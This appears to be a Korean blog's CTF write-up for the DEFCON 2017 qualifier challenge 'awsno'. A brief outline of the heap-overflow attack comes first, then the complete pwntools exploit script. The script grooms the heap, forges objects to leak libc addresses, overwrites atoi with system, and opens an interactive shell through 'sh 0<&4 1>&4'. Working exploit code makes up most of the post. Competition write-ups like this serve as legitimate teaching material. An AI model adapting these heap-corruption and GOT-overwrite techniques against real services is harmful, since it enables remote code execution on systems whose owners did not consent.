본문 바로가기

Games/CTF

DEFCON 2017 awsno writeup

1. heap overflow in 'trains' menu

2. we can change heap layout by making hole with edit menu. (edit deletes a node and appends new copy at the end of the list)

3. using heap overflow, we can corrupt some objects and hijack RIP.

4. we used special gadget that allows us to do arbitrary write

5. we changed atoi into system and called atoi("sh 0<&4 1>&4"); to get a shell.


- worked with zzoru.





'''

trains name length : 31

'''


from pwn import *

import time

import subprocess

# context.log_level = 'debug'


'''

/form          Nothing.

/index_write   Write within 512 byte buffer.

/planes        pwnable

/trains        pwnable

/vehicles      pwnable

'''


#context.terminal = ['tmux', 'splitw', '-h']


OFFSET = 0xe510

p = None


def main(req, menu, answer):


    req('/trains')

    raw_input('attach...')

    trains_add(p64(0x41414141), p64(0x7474747474), p64(0x53535353), 30, 30)

    trains_add('a', 'ab' * 2, 'c' * 2, 30, 30)

    trains_update(2, 'a' * 1)

    

    fake_1 = '1' + '\x00' * 7 + '\x00' * 8 * 3

    fake_2 = '\x88' * 8 * 4

    fake_3 = '\x77' * 8 + p32(0x14) + p32(0x1) + p32(0xff) + 'c' * 28

    fake_4 = '\x33' * 8 * 6

    fake_5 = '\x65' + '\x00' * 7 + p64(0xa02f58) + p64(0xa02f58) + p64(0x728f60) + p64(0xa02f60-0Xc) + p64(0x728f60) + p64(0x9fc538 - 0xc) + p64(0x728f60) + p64(0x9fc340 - 0xc) 


    # leak stdin

    '''

    atoi addr: 0x7f9f07f6df50

    stdin addr: 0x7f9f082f3640

    '''

    

    trains_index('1' + '\x00' * 7  + fake_1 + fake_2 + fake_3 + fake_2 + fake_3 + fake_2 + fake_4 +  fake_5)

    answer('0')


    menu(2)

    p.recvuntil('Name: ')

    print p.recvuntil('Name: ')

    blabla_addr = unpack(p.recvuntil('Model: ')[:-7], 'all')

    atoi_addr = unpack(p.recvuntil('Type: ')[:-6], 'all')


    trains_add('a', 'b' * 2, 'c' * 2, 30, 30)

    trains_update(3, 'a' * 1)



    RIP = 0x65d0a2


    fake_6 = '\x35' + '\x00' * 7 + p64(RIP) + p64(0xcafebab0) + p64(0xcafe4140) + p64(0xbeef3130) + p64(0xdead5550) 

    fake_7 = '\x65' + '\x00' * 7 + p64(0xa02f58) + p64(0xa11500) + p64(0x728f60) + p64(0xa02f60-0Xc) 

    

    trains_index('1' + '\x00' * 7  + fake_1 + fake_3 + fake_2 + fake_3 + fake_2+ fake_6+ fake_7)

    answer('0')


    menu(2)

    p.recvuntil('Name: ')

    p.recvuntil('Name: ')


    print p.recvuntil('Name: ')

    heap_addr = unpack(p.recvuntil('Model: ')[:-7], 'all') - 0x30

    new_stack = heap_addr - 0x38

    


    CMD = 'sh 0<&4 1>&4'

    DEST = 0x9fc538

    SRC = atoi_addr + OFFSET


    fake_1 = '1' + '\x00' * 7 + '\x99' * 8 * 3

    fake_2 = 'MMMM' + p64(DEST) + p64(SRC) + 'NNNNNNNNNNNN'

    fake_3 = '\x71' * 8 + p32(0x14) + p32(0x1) + p32(0xff) + '123456789' +p64(new_stack)+ 'iopasdfghjk'


    trains_add('a', 'b' * 2, 'c' * 2, 30, 30)

    trains_update(4, 'a' * 1)


    print 'heap addr: 0x%x' % heap_addr

    print 'atoid addr: 0x%x' % atoi_addr


    fake_8 = '\x65' + '\x00' * 7 + p64(0x9fca48 - 0x8) + p64(heap_addr - 0x40)

    trains_index('1' + '\x00' * 7  + fake_1 + fake_2 + fake_3 + fake_2 + fake_3 + fake_2+ fake_6+ fake_8)

    answer('0')


    sleep(0.1)

    menu(4)

    answer('n')

    answer('4')

    answer('n')


    menu(4)

    answer('y')

    answer(CMD)




recvuntil_kind = 0

if __name__ == '__main__':


    import sys

    

    run = int(sys.argv[1])

    if run:

        if 1:

            local_worker = process(['./awsno'], env={'LD_PRELOAD':'./hook.so'})

        else:

            local_worker = subprocess.Popen(['ltrace', '-e', 'malloc', './awsno'], env={'LD_PRELOAD':'./hook.so'})

        time.sleep(0.3)

    else:

        local_worker = None


    local = int(sys.argv[2])

    if local:

        p = remote('localhost', 9345)

    else:

        p = remote('awsno_cfeaa78b474521963ccfd450cd938ce9.quals.shallweplayaga.me', 80)

   

    def req(uri):

        global recvuntil_kind

        if uri == '/trains':

            recvuntil_kind = 1

        r = 'GET %s HTTP/1.1\r\n' % uri

        r += 'Host: awsno_cfeaa78b474521963ccfd450cd938ce9.quals.shallweplayaga.me\r\n'

        r += 'User-Agent: curl/7.47.0\r\n'

        r += 'Accept: */*\r\n'

        r += '\r\n'

        p.send(r)


    def menu(n):

        if recvuntil_kind:

            log.info(p.recvuntil(': '))

        else:

            log.info(p.recvuntil('> '))

        log.warn(n)

        p.send('%d\n' % n)


    def menu2(n):

        if recvuntil_kind:

            log.info(p.recvuntil(': '))

        else:

            log.info(p.recvuntil('> '))

        log.warn(n)

        p.send('4zzzzzzzzzzzzz\n')


    def answer(s):

        if isinstance(s, int):

            s = str(s)

        log.info(p.recvuntil(': '))

        log.warn(s)

        p.send(s + '\n')


    def send_form(text):

        p.send("POST /form" + " HTTP/1.1\r\n")

        p.send("Content-Type: application/x-www-form-urlencoded\r\n")

        payload = "text="+text

        p.send("Content-Length: %d\r\n\r\n" % (len(payload)))

        p.send(payload + "\r\n")

        return p.recv(4096)


    def send_index_write(idx, chr):

        print p.recv(4096)

        p.send(str(idx) +"\n")

        print p.recv(4096)

        p.send(chr)    

        print p.recv(4096)


    def trains_add(name, model, type_, speed, passengers):

        menu(1)

        answer(name)

        answer(model)

        answer(type_)

        answer(str(speed))

        answer(str(passengers))

    

    def trains_list():

        # print 'abc'

        menu(2)


    # not work

    def trains_remove(idx):

        menu(3)

        answer('y')

        answer(str(idx))


    def trains_update(idx, name):

        menu(4)

        answer('y')

        answer(str(idx))

        answer('y')

        answer(name)


    def trains_index(idx):

        menu(7)

        answer(idx)


    try:

        main(req, menu, answer)

        p.interactive()

    finally:

        p.close()

        if local_worker:

            local_worker.kill()


'Games > CTF' 카테고리의 다른 글

DEFCON 2017 empanada writeup  (0) 2017.05.08
SECCON 2016 cheer_msg  (0) 2016.12.12
SECCON 2016 checker  (0) 2016.12.12
SECCON 2016 logger  (0) 2016.12.11
SECCON 2016 jumper  (0) 2016.12.11